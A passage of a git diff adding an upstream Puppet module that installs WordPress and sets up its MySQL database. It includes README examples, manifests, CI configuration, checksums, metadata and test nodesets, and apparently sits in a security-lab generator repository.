+```puppet
+class { 'wordpress':
+ db_user => 'wordpress',
+ db_password => 'hvyH(S%t(\"0\"16',
+ db_host => 'db.example.com',
+}
+```
+
+Disable module's database/user creation (the database and db user must still exist with correct permissions):
+
+```puppet
+class { 'wordpress':
+ db_user => 'wordpress',
+ db_password => 'hvyH(S%t(\"0\"16',
+ create_db => false,
+ create_db_user => false,
+}
+```
+
+Install specific version of WordPress:
+
+```puppet
+class { 'wordpress':
+ version => '3.4',
+}
+```
+
+Install WordPress to a specific directory:
+
+```puppet
+class { 'wordpress':
+ install_dir => '/var/www/wordpress',
+}
+```
+
+Download `wordpress-${version}.tar.gz` from an internal server:
+
+```puppet
+class { 'wordpress':
+ install_url => 'http://internal.example.com/software',
+}
+```
+
+Configure wordpress to download updates and plugins through a proxy:
+
+```puppet
+class { 'wordpress':
+ proxy_host => 'http://my.proxy.corp.com',
+ proxy_port => '8080',
+}
+```
+
+Enable the multisite wordpress feature:
+
+```puppet
+class { 'wordpress':
+ wp_multisite => true,
+ wp_site_domain => 'blog.domain.com',
+}
+```
+
+Add custom configuration to wp-config.php:
+
+```puppet
+class { 'wordpress':
+ wp_additional_config => 'foo/wp-config-extra.php.erb',
+}
+```
diff --git a/modules/utilities/unix/puppet_module/wordpress/Rakefile b/modules/utilities/unix/puppet_module/wordpress/Rakefile
new file mode 100644
index 000000000..81381e0cf
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/Rakefile
@@ -0,0 +1,2 @@
+require 'puppetlabs_spec_helper/rake_tasks'
+require 'puppet-syntax/tasks/puppet-syntax'
diff --git a/modules/utilities/unix/puppet_module/wordpress/appveyor.yml b/modules/utilities/unix/puppet_module/wordpress/appveyor.yml
new file mode 100644
index 000000000..5fd5e8925
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/appveyor.yml
@@ -0,0 +1,57 @@
+version: 1.1.x.{build}
+skip_commits:
+ message: /^\(?doc\)?.*/
+clone_depth: 10
+init:
+ - SET
+ - 'mkdir C:\ProgramData\PuppetLabs\code && exit 0'
+ - 'mkdir C:\ProgramData\PuppetLabs\facter && exit 0'
+ - 'mkdir C:\ProgramData\PuppetLabs\hiera && exit 0'
+ - 'mkdir C:\ProgramData\PuppetLabs\puppet\var && exit 0'
+environment:
+ matrix:
+ -
+ RUBY_VERSION: 24-x64
+ CHECK: syntax lint
+ -
+ RUBY_VERSION: 24-x64
+ CHECK: metadata_lint
+ -
+ RUBY_VERSION: 24-x64
+ CHECK: rubocop
+ -
+ PUPPET_GEM_VERSION: ~> 4.0
+ RUBY_VERSION: 21
+ CHECK: spec
+ -
+ PUPPET_GEM_VERSION: ~> 4.0
+ RUBY_VERSION: 21-x64
+ CHECK: spec
+ -
+ PUPPET_GEM_VERSION: ~> 5.0
+ RUBY_VERSION: 24
+ CHECK: spec
+ -
+ PUPPET_GEM_VERSION: ~> 5.0
+ RUBY_VERSION: 24-x64
+ CHECK: spec
+matrix:
+ fast_finish: true
+install:
+ - set PATH=C:\Ruby%RUBY_VERSION%\bin;%PATH%
+ - bundle install --jobs 4 --retry 2 --without system_tests
+ - type Gemfile.lock
+build: off
+test_script:
+ - bundle exec puppet -V
+ - ruby -v
+ - gem -v
+ - bundle -v
+ - bundle exec rake %CHECK%
+notifications:
+ - provider: Email
+ to:
+ - nobody@nowhere.com
+ on_build_success: false
+ on_build_failure: false
+ on_build_status_changed: false
diff --git a/modules/utilities/unix/puppet_module/wordpress/checksums.json b/modules/utilities/unix/puppet_module/wordpress/checksums.json
new file mode 100644
index 000000000..0bdf56ac6
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/checksums.json
@@ -0,0 +1,32 @@
+{
+ "CHANGELOG": "ba576a0ae6f161e2e819c13a15dff5fd",
+ "Gemfile": "bdda4a55669a2bf8916f49d490a61771",
+ "Modulefile": "68f682f55645a6fcd737a4363efeea60",
+ "README.markdown": "b6657a19dc019a402c9dced8d79bde57",
+ "Rakefile": "0254db5d3fc38c67a2c160d7296a24f8",
+ "manifests/app.pp": "da4bf0828c6560ae23f7e59fd4950ead",
+ "manifests/db.pp": "ff3db53cd7fb2525e9387fc84ff9a6a6",
+ "manifests/init.pp": "f13b68c2c8344dd27e84ab1884e842b0",
+ "manifests/instance/app.pp": "35e091c60721ca8506e4bc1d307fbcfd",
+ "manifests/instance/db.pp": "fe0188226adb4958584f65d3e65e39a2",
+ "manifests/instance.pp": "a00ac7d6cf83eae37db20eebe9c4863d",
+ "metadata.json": "595d4419cdca855211fec50f2c704183",
+ "spec/acceptance/nodesets/centos-6-vcloud.yml": "bdf9ce9d3b0f0b4995666ae9d64d878d",
+ "spec/acceptance/nodesets/centos-64-x64-pe.yml": "ec075d95760df3d4702abea1ce0a829b",
+ "spec/acceptance/nodesets/centos-64-x64.yml": "092dd2c588a9f87fa1fb12997c0723ef",
+ "spec/acceptance/nodesets/centos-65-x64.yml": "3e5c36e6aa5a690229e720f4048bb8af",
+ "spec/acceptance/nodesets/default.yml": "092dd2c588a9f87fa1fb12997c0723ef",
+ "spec/acceptance/nodesets/fedora-18-x64.yml": "80e41b1ee16ea489f53164bfdae58855",
+ "spec/acceptance/nodesets/sles-11-x64.yml": "44e4c6c15c018333bfa9840a5e702f66",
+ "spec/acceptance/nodesets/ubuntu-server-10044-x64.yml": "75e86400b7889888dc0781c0ae1a1297",
+ "spec/acceptance/nodesets/ubuntu-server-12042-x64.yml": "d30d73e34cd50b043c7d14e305955269",
+ "spec/acceptance/wordpress_spec.rb": "3efdf1b9a64dde0eef24c70b9cf06756",
+ "spec/classes/wordpress_spec.rb": "678d8ef399e31af535b999f4306aaf0a",
+ "spec/defines/wordpress_spec.rb": "0b7d8b2ca62c9734410ecbe2b3705500",
+ "spec/spec.opts": "c407193b3d9028941ef59edd114f5968",
+ "spec/spec_helper.rb": "0db89c9a486df193c0e40095422e19dc",
+ "spec/spec_helper_acceptance.rb": "c042c527f40d5b1417b0228531082ded",
+ "templates/wp-config.php.erb": "3922ceee6b79943f3d0c92e72ee4477d",
+ "templates/wp-keysalts.php.erb": "e48447c1a47e8b66bc823ff1d49e0da7",
+ "tests/init.pp": "4086340a435b8b5b3fbbdb2b119c42e4"
+}
\ No newline at end of file
diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/app.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/app.pp
new file mode 100644
index 000000000..fcefb1f99
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/manifests/app.pp
@@ -0,0 +1,48 @@
+class wordpress::app (
+ $install_dir,
+ $install_url,
+ $version,
+ $db_name,
+ $db_host,
+ $db_user,
+ $db_password,
+ $wp_owner,
+ $wp_group,
+ $wp_lang,
+ $wp_config_content,
+ $wp_plugin_dir,
+ $wp_additional_config,
+ $wp_table_prefix,
+ $wp_proxy_host,
+ $wp_proxy_port,
+ $wp_site_url,
+ $wp_multisite,
+ $wp_site_domain,
+ $wp_debug,
+ $wp_debug_log,
+ $wp_debug_display,
+) {
+ wordpress::instance::app { $install_dir:
+ install_dir => $install_dir,
+ install_url => $install_url,
+ version => $version,
+ db_name => $db_name,
+ db_host => $db_host,
+ db_user => $db_user,
+ db_password => $db_password,
+ wp_owner => $wp_owner,
+ wp_group => $wp_group,
+ wp_lang => $wp_lang,
+ wp_plugin_dir => $wp_plugin_dir,
+ wp_additional_config => $wp_additional_config,
+ wp_table_prefix => $wp_table_prefix,
+ wp_proxy_host => $wp_proxy_host,
+ wp_proxy_port => $wp_proxy_port,
+ wp_site_url => $wp_site_url,
+ wp_multisite => $wp_multisite,
+ wp_site_domain => $wp_site_domain,
+ wp_debug => $wp_debug,
+ wp_debug_log => $wp_debug_log,
+ wp_debug_display => $wp_debug_display,
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/conf.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/conf.pp
new file mode 100644
index 000000000..9c0c160d3
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/manifests/conf.pp
@@ -0,0 +1,14 @@
+class wordpress::conf ($version){
+ file { '/wordpress_conf.sh':
+ owner => 'root',
+ group => 'root',
+ ensure => present,
+ mode => '0755',
+ content => template('wordpress/wordpress_conf.sh.erb'),
+ }
+
+# exec { 'run wordpress config script':
+# command => '/bin/bash /tmp/wordpress_conf.sh',
+# require => File['/tmp/wordpress_conf.sh'],
+# }
+}
diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/db.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/db.pp
new file mode 100644
index 000000000..39cfd63f1
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/manifests/db.pp
@@ -0,0 +1,17 @@
+class wordpress::db (
+ $create_db,
+ $create_db_user,
+ $db_name,
+ $db_host,
+ $db_user,
+ $db_password,
+) {
+ wordpress::instance::db { "${db_host}/${db_name}":
+ create_db => $create_db,
+ create_db_user => $create_db_user,
+ db_name => $db_name,
+ db_host => $db_host,
+ db_user => $db_user,
+ db_password => $db_password,
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/init.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/init.pp
new file mode 100644
index 000000000..c259296ed
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/manifests/init.pp
@@ -0,0 +1,139 @@
+# == Class: wordpress
+#
+# This module manages wordpress
+#
+# === Parameters
+#
+# [*install_dir*]
+# Specifies the directory into which wordpress should be installed. Default:
+# /opt/wordpress
+#
+# [*install_url*]
+# Specifies the url from which the wordpress tarball should be downloaded.
+# Default: http://wordpress.org
+#
+# [*version*]
+# Specifies the version of wordpress to install. Default: 3.8
+#
+# [*create_db*]
+# Specifies whether to create the db or not. Default: true
+#
+# [*create_db_user*]
+# Specifies whether to create the db user or not. Default: true
+#
+# [*db_name*]
+# Specifies the database name which the wordpress module should be configured
+# to use. Default: wordpress
+#
+# [*db_host*]
+# Specifies the database host to connect to. Default: localhost
+#
+# [*db_user*]
+# Specifies the database user. Default: wordpress
+#
+# [*db_password*]
+# Specifies the database user's password in plaintext. Default: password
+#
+# [*wp_owner*]
+# Specifies the owner of the wordpress files. You must ensure this user
+# exists as this module does not attempt to create it if missing. Default:
+# root
+#
+# [*wp_group*]
+# Specifies the group of the wordpress files. Default: 0 (*BSD/Darwin
+# compatible GID)
+#
+# [*wp_lang*]
+# WordPress Localized Language. Default: ''
+#
+#
+# [*wp_plugin_dir*]
+# WordPress Plugin Directory. Full path, no trailing slash. Default: WordPress Default
+#
+# [*wp_additional_config*]
+# Specifies a template to include near the end of the wp-config.php file to add additional options. Default: ''
+#
+# [*wp_table_prefix*]
+# Specifies the database table prefix. Default: wp_
+#
+# [*wp_proxy_host*]
+# Specifies a Hostname or IP of a proxy server for Wordpress to use to install updates, plugins, etc. Default: ''
+#
+# [*wp_proxy_port*]
+# Specifies the port to use with the proxy host. Default: ''
+#
+# [*wp_site_url*]
+# If your WordPress server is behind a proxy, you might need to set the WP_SITEURL with this parameter. Default: `undef`
+#
+# [*wp_multisite*]
+# Specifies whether to enable the multisite feature. Requires `wp_site_domain` to also be passed. Default: `false`
+#
+# [*wp_site_domain*]
+# Specifies the `DOMAIN_CURRENT_SITE` value that will be used when configuring multisite. Typically this is the address of the main wordpress instance. Default: ''
+#
+# [*wp_debug*]
+# Specifies the `WP_DEBUG` value that will control debugging. This must be true if you use the next two debug extensions. Default: 'false'
+#
+# [*wp_debug_log*]
+# Specifies the `WP_DEBUG_LOG` value that extends debugging to cause all errors to also be saved to a debug.log logfile insdie the /wp-content/ directory. Default: 'false'
+#
+# [*wp_debug_display*]
+# Specifies the `WP_DEBUG_DISPLAY` value that extends debugging to cause debug messages to be shown inline, in HTML pages. Default: 'false'
+#
+# === Requires
+#
+# === Examples
+#
+class wordpress (
+ $install_dir = '/opt/wordpress',
+ $install_url = 'http://wordpress.org',
+ $version = '4.9',
+ $create_db = true,
+ $create_db_user = true,
+ $db_name = 'wordpress',
+ $db_host = 'localhost',
+ $db_user = 'wordpress',
+ $db_password = 'password',
+ $wp_owner = 'root',
+ $wp_group = '0',
+ $wp_lang = '',
+ $wp_config_content = undef,
+ $wp_plugin_dir = 'DEFAULT',
+ $wp_additional_config = 'DEFAULT',
+ $wp_table_prefix = 'wp_',
+ $wp_proxy_host = '',
+ $wp_proxy_port = '',
+ $wp_site_url = undef,
+ $wp_multisite = false,
+ $wp_site_domain = '',
+ $wp_debug = false,
+ $wp_debug_log = false,
+ $wp_debug_display = false,
+) {
+ wordpress::instance { $install_dir:
+ install_dir => $install_dir,
+ install_url => $install_url,
+ version => $version,
+ create_db => $create_db,
+ create_db_user => $create_db_user,
+ db_name => $db_name,
+ db_host => $db_host,
+ db_user => $db_user,
+ db_password => $db_password,
+ wp_owner => $wp_owner,
+ wp_group => $wp_group,
+ wp_lang => $wp_lang,
+ wp_config_content => $wp_config_content,
+ wp_plugin_dir => $wp_plugin_dir,
+ wp_additional_config => $wp_additional_config,
+ wp_table_prefix => $wp_table_prefix,
+ wp_proxy_host => $wp_proxy_host,
+ wp_proxy_port => $wp_proxy_port,
+ wp_site_url => $wp_site_url,
+ wp_multisite => $wp_multisite,
+ wp_site_domain => $wp_site_domain,
+ wp_debug => $wp_debug,
+ wp_debug_log => $wp_debug_log,
+ wp_debug_display => $wp_debug_display,
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/instance.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/instance.pp
new file mode 100644
index 000000000..54e92fb85
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/manifests/instance.pp
@@ -0,0 +1,135 @@
+# == Definition: wordpress::instance
+#
+# This module manages wordpress
+#
+# === Parameters
+#
+# [*install_dir*]
+# Specifies the directory into which wordpress should be installed. Default:
+# /opt/wordpress
+#
+# [*install_url*]
+# Specifies the url from which the wordpress tarball should be downloaded.
+# Default: http://wordpress.org
+#
+# [*version*]
+# Specifies the version of wordpress to install. Default: 3.8
+#
+# [*create_db*]
+# Specifies whether to create the db or not. Default: true
+#
+# [*create_db_user*]
+# Specifies whether to create the db user or not. Default: true
+#
+# [*db_name*]
+# Specifies the database name which the wordpress module should be configured
+# to use. Required.
+#
+# [*db_host*]
+# Specifies the database host to connect to. Default: localhost
+#
+# [*db_user*]
+# Specifies the database user. Required.
+#
+# [*db_password*]
+# Specifies the database user's password in plaintext. Default: password
+#
+# [*wp_owner*]
+# Specifies the owner of the wordpress files. Default: root
+#
+# [*wp_group*]
+# Specifies the group of the wordpress files. Default: 0 (*BSD/Darwin
+# compatible GID)
+#
+# [*wp_lang*]
+# WordPress Localized Language. Default: ''
+#
+#
+# [*wp_plugin_dir*]
+# WordPress Plugin Directory. Full path, no trailing slash. Default: WordPress Default
+#
+# [*wp_additional_config*]
+# Specifies a template to include near the end of the wp-config.php file to add additional options. Default: ''
+#
+# [*wp_table_prefix*]
+# Specifies the database table prefix. Default: wp_
+#
+# [*wp_proxy_host*]
+# Specifies a Hostname or IP of a proxy server for Wordpress to use to install updates, plugins, etc. Default: ''
+#
+# [*wp_proxy_port*]
+# Specifies the port to use with the proxy host. Default: ''
+#
+# [*wp_site_url*]
+# If your WordPress server is behind a proxy, you might need to set the WP_SITEURL with this parameter. Default: `undef`
+#
+# [*wp_multisite*]
+# Specifies whether to enable the multisite feature. Requires `wp_site_domain` to also be passed. Default: `false`
+#
+# [*wp_site_domain*]
+# Specifies the `DOMAIN_CURRENT_SITE` value that will be used when configuring multisite. Typically this is the address of the main wordpress instance. Default: ''
+#
+# === Requires
+#
+# === Examples
+#
+define wordpress::instance (
+ $db_name,
+ $db_user,
+ $install_dir = $title,
+ $install_url = 'http://wordpress.org',
+ $version = '3.8',
+ $create_db = true,
+ $create_db_user = true,
+ $db_host = 'localhost',
+ $db_password = 'password',
+ $wp_owner = 'root',
+ $wp_group = '0',
+ $wp_lang = '',
+ $wp_config_content = undef,
+ $wp_plugin_dir = 'DEFAULT',
+ $wp_additional_config = 'DEFAULT',
+ $wp_table_prefix = 'wp_',
+ $wp_proxy_host = '',
+ $wp_proxy_port = '',
+ $wp_site_url = undef,
+ $wp_multisite = false,
+ $wp_site_domain = '',
+ $wp_debug = false,
+ $wp_debug_log = false,
+ $wp_debug_display = false,
+) {
+ wordpress::instance::app { $install_dir:
+ install_dir => $install_dir,
+ install_url => $install_url,
+ version => $version,
+ db_name => $db_name,
+ db_host => $db_host,
+ db_user => $db_user,
+ db_password => $db_password,
+ wp_owner => $wp_owner,
+ wp_group => $wp_group,
+ wp_lang => $wp_lang,
+ wp_config_content => $wp_config_content,
+ wp_plugin_dir => $wp_plugin_dir,
+ wp_additional_config => $wp_additional_config,
+ wp_table_prefix => $wp_table_prefix,
+ wp_proxy_host => $wp_proxy_host,
+ wp_proxy_port => $wp_proxy_port,
+ wp_site_url => $wp_site_url,
+ wp_multisite => $wp_multisite,
+ wp_site_domain => $wp_site_domain,
+ wp_debug => $wp_debug,
+ wp_debug_log => $wp_debug_log,
+ wp_debug_display => $wp_debug_display,
+ }
+
+ wordpress::instance::db { "${db_host}/${db_name}":
+ create_db => $create_db,
+ create_db_user => $create_db_user,
+ db_name => $db_name,
+ db_host => $db_host,
+ db_user => $db_user,
+ db_password => $db_password,
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/instance/app.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/instance/app.pp
new file mode 100644
index 000000000..4bc1291e3
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/manifests/instance/app.pp
@@ -0,0 +1,146 @@
+define wordpress::instance::app (
+ $install_dir,
+ $install_url,
+ $version,
+ $db_name,
+ $db_host,
+ $db_user,
+ $db_password,
+ $wp_owner,
+ $wp_group,
+ $wp_lang,
+ $wp_config_content,
+ $wp_plugin_dir,
+ $wp_additional_config,
+ $wp_table_prefix,
+ $wp_proxy_host,
+ $wp_proxy_port,
+ $wp_site_url,
+ $wp_multisite,
+ $wp_site_domain,
+ $wp_debug,
+ $wp_debug_log,
+ $wp_debug_display,
+) {
+ validate_string($install_dir,$install_url,$version,$db_name,$db_host,$db_user,$db_password,$wp_owner,$wp_group, $wp_lang, $wp_plugin_dir,$wp_additional_config,$wp_table_prefix,$wp_proxy_host,$wp_proxy_port,$wp_site_domain)
+ validate_bool($wp_multisite, $wp_debug, $wp_debug_log, $wp_debug_display)
+ validate_absolute_path($install_dir)
+
+ if $wp_config_content and ($wp_lang or $wp_debug or $wp_debug_log or $wp_debug_display or $wp_proxy_host or $wp_proxy_port or $wp_multisite or $wp_site_domain) {
+ warning('When $wp_config_content is set, the following parameters are ignored: $wp_table_prefix, $wp_lang, $wp_debug, $wp_debug_log, $wp_debug_display, $wp_plugin_dir, $wp_proxy_host, $wp_proxy_port, $wp_multisite, $wp_site_domain, $wp_additional_config')
+ }
+
+ if $wp_multisite and ! $wp_site_domain {
+ fail('wordpress class requires `wp_site_domain` parameter when `wp_multisite` is true')
+ }
+
+ if $wp_debug_log and ! $wp_debug {
+ fail('wordpress class requires `wp_debug` parameter to be true, when `wp_debug_log` is true')
+ }
+
+ if $wp_debug_display and ! $wp_debug {
+ fail('wordpress class requires `wp_debug` parameter to be true, when `wp_debug_display` is true')
+ }
+
+ ## Resource defaults
+ File {
+ owner => $wp_owner,
+ group => $wp_group,
+ mode => '0644',
+ }
+ Exec {
+ path => ['/bin','/sbin','/usr/bin','/usr/sbin'],
+ cwd => $install_dir,
+ logoutput => 'on_failure',
+ }
+
+ ## Installation directory
+ if ! defined(File[$install_dir]) {
+ file { $install_dir:
+ ensure => directory,
+ recurse => true,
+ }
+ } else {
+ notice("Warning: cannot manage the permissions of ${install_dir}, as another resource (perhaps apache::vhost?) is managing it.")
+ }
+
+ ## tar.gz. file name lang-aware
+ if $wp_lang and $wp_lang != '' {
+ $install_file_name = "wordpress-${version}-${wp_lang}.tar.gz"
+ } else {
+ $install_file_name = "wordpress-${version}.tar.gz"
+ }
+
+ ## Download and extract
+ exec { "Download wordpress ${install_url}/wordpress-${version}.tar.gz to ${install_dir}":
+ command => "wget ${install_url}/${install_file_name}",
+ creates => "${install_dir}/${install_file_name}",
+ require => File[$install_dir],
+ user => $wp_owner,
+ group => $wp_group,
+ }
+ -> exec { "Extract wordpress ${install_dir}":
+ command => "tar zxvf ./${install_file_name} --strip-components=1",
+ creates => "${install_dir}/index.php",
+ user => $wp_owner,
+ group => $wp_group,
+ }
+ ~> exec { "Change ownership ${install_dir}":
+ command => "chown -R ${wp_owner}:${wp_group} ${install_dir}",
+ refreshonly => true,
+ user => $wp_owner,
+ group => $wp_group,
+ }
+
+ ## Configure wordpress
+ #
+ concat { "${install_dir}/wp-config.php":
+ owner => $wp_owner,
+ group => $wp_group,
+ mode => '0755',
+ require => Exec["Extract wordpress ${install_dir}"],
+ }
+ if $wp_config_content {
+ concat::fragment { "${install_dir}/wp-config.php body":
+ target => "${install_dir}/wp-config.php",
+ content => $wp_config_content,
+ order => '20',
+ }
+ } else {
+ # Template uses no variables
+ file { "${install_dir}/wp-keysalts.php":
+ ensure => present,
+ content => template('wordpress/wp-keysalts.php.erb'),
+ replace => false,
+ require => Exec["Extract wordpress ${install_dir}"],
+ }
+ concat::fragment { "${install_dir}/wp-config.php keysalts":
+ target => "${install_dir}/wp-config.php",
+ source => "${install_dir}/wp-keysalts.php",
+ order => '10',
+ require => File["${install_dir}/wp-keysalts.php"],
+ }
+ # Template uses:
+ # - $db_name
+ # - $db_user
+ # - $db_password
+ # - $db_host
+ # - $wp_table_prefix
+ # - $wp_lang
+ # - $wp_plugin_dir
+ # - $wp_proxy_host
+ # - $wp_proxy_port
+ # - $wp_site_url
+ # - $wp_multisite
+ # - $wp_site_domain
+ # - $wp_additional_config
+ # - $wp_debug
+ # - $wp_debug_log
+ # - $wp_debug_display
+ concat::fragment { "${install_dir}/wp-config.php body":
+ target => "${install_dir}/wp-config.php",
+ content => template('wordpress/wp-config.php.erb'),
+ order => '20',
+ }
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/instance/db.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/instance/db.pp
new file mode 100644
index 000000000..29672d0c3
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/manifests/instance/db.pp
@@ -0,0 +1,30 @@
+define wordpress::instance::db (
+ $create_db,
+ $create_db_user,
+ $db_name,
+ $db_host,
+ $db_user,
+ $db_password,
+) {
+ validate_bool($create_db,$create_db_user)
+ validate_string($db_name,$db_host,$db_user,$db_password)
+
+ ## Set up DB using puppetlabs-mysql defined type
+ if $create_db {
+ mysql_database { "${db_host}/${db_name}":
+ name => $db_name,
+ charset => 'utf8',
+ }
+ }
+ if $create_db_user {
+ mysql_user { "${db_user}@${db_host}":
+ password_hash => mysql_password($db_password),
+ }
+ mysql_grant { "${db_user}@${db_host}/${db_name}.*":
+ table => "${db_name}.*",
+ user => "${db_user}@${db_host}",
+ privileges => ['ALL'],
+ }
+ }
+
+}
diff --git a/modules/utilities/unix/puppet_module/wordpress/metadata.json b/modules/utilities/unix/puppet_module/wordpress/metadata.json
new file mode 100644
index 000000000..db048d41d
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/metadata.json
@@ -0,0 +1,61 @@
+{
+ "name": "hunner-wordpress",
+ "version": "1.0.0",
+ "author": "Hunter Haugen",
+ "summary": "Puppet module to set up an instance of wordpress; and optionally a mysql db/user.",
+ "license": "Apache-2.0",
+ "source": "https://github.com/hunner/puppet-wordpress",
+ "dependencies": [
+// {"name":"puppetlabs/concat", "version_requirement":">= 1.0.0"},
+// {"name":"puppetlabs/mysql", "version_requirement":">= 2.1.0"},
+// {"name":"puppetlabs/stdlib", "version_requirement":">= 2.3.1"}
+ ],
+ "operatingsystem_support": [
+ {
+ "operatingsystem": "CentOS",
+ "operatingsystemrelease": [
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "OracleLinux",
+ "operatingsystemrelease": [
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "RedHat",
+ "operatingsystemrelease": [
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "Scientific",
+ "operatingsystemrelease": [
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "Debian",
+ "operatingsystemrelease": [
+ "8"
+ ]
+ },
+ {
+ "operatingsystem": "Ubuntu",
+ "operatingsystemrelease": [
+ "16.04"
+ ]
+ }
+ ],
+ "requirements": [
+ {
+ "name": "puppet",
+ "version_requirement": ">= 4.7.0 < 6.0.0"
+ }
+ ],
+ "pdk-version": "1.4.1",
+ "template-url": "https://github.com/puppetlabs/pdk-templates",
+ "template-ref": "1.4.1-0-g52adbbb"
+}
+
diff --git a/modules/utilities/unix/puppet_module/wordpress/secgen_metadata.xml b/modules/utilities/unix/puppet_module/wordpress/secgen_metadata.xml
new file mode 100644
index 000000000..8edbb0953
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/secgen_metadata.xml
@@ -0,0 +1,14 @@
+
+
+
+ WordPress
+ Thomas Shaw
+ MIT
+ wordpress
+
+ puppet_module
+ linux
+
+
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-6-vcloud.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-6-vcloud.yml
new file mode 100644
index 000000000..ca9c1d329
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-6-vcloud.yml
@@ -0,0 +1,15 @@
+HOSTS:
+ 'centos-6-vcloud':
+ roles:
+ - master
+ platform: el-6-x86_64
+ hypervisor: vcloud
+ template: centos-6-x86_64
+CONFIG:
+ type: foss
+ ssh:
+ keys: "~/.ssh/id_rsa-acceptance"
+ datastore: instance0
+ folder: Delivery/Quality Assurance/Enterprise/Dynamic
+ resourcepool: delivery/Quality Assurance/Enterprise/Dynamic
+ pooling_api: http://vcloud.delivery.puppetlabs.net/
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64-pe.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64-pe.yml
new file mode 100644
index 000000000..7d9242f1b
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64-pe.yml
@@ -0,0 +1,12 @@
+HOSTS:
+ centos-64-x64:
+ roles:
+ - master
+ - database
+ - dashboard
+ platform: el-6-x86_64
+ box : centos-64-x64-vbox4210-nocm
+ box_url : http://puppet-vagrant-boxes.puppetlabs.com/centos-64-x64-vbox4210-nocm.box
+ hypervisor : vagrant
+CONFIG:
+ type: pe
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64.yml
new file mode 100644
index 000000000..05540ed8c
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ centos-64-x64:
+ roles:
+ - master
+ platform: el-6-x86_64
+ box : centos-64-x64-vbox4210-nocm
+ box_url : http://puppet-vagrant-boxes.puppetlabs.com/centos-64-x64-vbox4210-nocm.box
+ hypervisor : vagrant
+CONFIG:
+ type: foss
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-65-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-65-x64.yml
new file mode 100644
index 000000000..4e2cb809e
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-65-x64.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ centos-65-x64:
+ roles:
+ - master
+ platform: el-6-x86_64
+ box : centos-65-x64-vbox436-nocm
+ box_url : http://puppet-vagrant-boxes.puppetlabs.com/centos-65-x64-virtualbox-nocm.box
+ hypervisor : vagrant
+CONFIG:
+ type: foss
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/default.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/default.yml
new file mode 100644
index 000000000..05540ed8c
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/default.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ centos-64-x64:
+ roles:
+ - master
+ platform: el-6-x86_64
+ box : centos-64-x64-vbox4210-nocm
+ box_url : http://puppet-vagrant-boxes.puppetlabs.com/centos-64-x64-vbox4210-nocm.box
+ hypervisor : vagrant
+CONFIG:
+ type: foss
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/fedora-18-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/fedora-18-x64.yml
new file mode 100644
index 000000000..136164983
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/fedora-18-x64.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ fedora-18-x64:
+ roles:
+ - master
+ platform: fedora-18-x86_64
+ box : fedora-18-x64-vbox4210-nocm
+ box_url : http://puppet-vagrant-boxes.puppetlabs.com/fedora-18-x64-vbox4210-nocm.box
+ hypervisor : vagrant
+CONFIG:
+ type: foss
diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/sles-11-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/sles-11-x64.yml
new file mode 100644
index 000000000..41abe2135
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/sles-11-x64.yml
@@ -0,0 +1,10 @@
+HOSTS:
+ sles-11-x64.local:
